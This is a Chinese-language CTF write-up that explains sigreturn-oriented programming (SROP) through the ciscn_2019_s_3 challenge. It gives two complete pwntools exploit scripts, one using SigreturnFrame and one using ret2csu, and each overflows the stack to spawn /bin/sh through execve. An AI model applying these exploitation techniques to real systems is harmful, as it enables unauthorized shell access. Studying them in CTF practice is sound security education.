0%

SROP

SROP可以在gadgets很少的时候的栈利用里使用,近期学习linux后,明白了程序进行系统调用时,状态会从用户态切换到内核态。而切换的实质是将用户态的寄存器保存。而返回的时候,再重新恢复用户态的寄存器。系统调用signreturn,是内核态恢复到用户态;它的具体操作是**[从用户的栈中弹出寄存器的值]{.mark}**。因此,如果栈能被我们控制,然后我们能够构造signreturn的系统调用,那么就能完成利用。我们的目的就是可以借助signreturn来控制全部的寄存器。

例题ciscn_2019_s_3

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,存在一个栈溢出漏洞。

这里,正好我们能控制rax为0xF,x64下的linux的signreturn系统调用号正好为0xF。于是,我们便可以利用SROP来达到利用。

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(os='linux',arch='amd64')
sh = process('./ciscn_s_3')
#sh = remote('node3.buuoj.cn',26491)
csu_call = 0x0000000000400580
csu_pop = 0x000000000040059A
mov_rax_sigreturn = 0x00000000004004DA
syscall = 0x0000000000400517
vuln = 0x00000000004004ED
pop_rdi = 0x00000000004005a3
payload = 'a'*0x10 + p64(vuln)
sh.send(payload)
sh.recv(0x20)
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
binsh_addr = stack_addr - 0x118
print 'binsh_addr=',hex(binsh_addr)
print 'stack_addr=',hex(stack_addr)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = '/bin/sh'.ljust(0x10,'\x00') + p64(mov_rax_sigreturn) + p64(syscall) + str(frame)
sh.send(payload)

sh.interactive()

另外一种方法是ret2csu,构造execve的系统调用。这里正好rax能够控制为0x3B,x64下对应的系统调用为execve。

于是解法二完整的exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#coding:utf8
from pwn import *

#context.log_level = 'debug'
#sh = process('./ciscn_s_3')
sh = remote('node3.buuoj.cn',26491)
csu_call = 0x0000000000400580
csu_pop = 0x000000000040059A
mov_rax_execvecall = 0x00000000004004E2
syscall = 0x0000000000400517
vuln = 0x00000000004004ED
pop_rdi = 0x00000000004005a3
payload = 'a'*0x10 + p64(vuln)
sh.send(payload)
sh.recv(0x20)
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
binsh_addr = stack_addr - 0x118
print 'binsh_addr=',hex(binsh_addr)
print 'stack_addr=',hex(stack_addr)
payload = '/bin/sh'.ljust(0x10,'\x00') + p64(csu_pop)
payload += p64(0) #rbx
payload += p64(1) #rbp
#该存存放syscall指令的地址
payload += p64(stack_addr - 0xC0) #r12
payload += p64(0)*3
payload += p64(mov_rax_execvecall)
payload += p64(csu_call)
#r12指向这里的rop
payload += p64(pop_rdi) + p64(binsh_addr)
payload += p64(syscall)
sh.send(payload)

sh.interactive()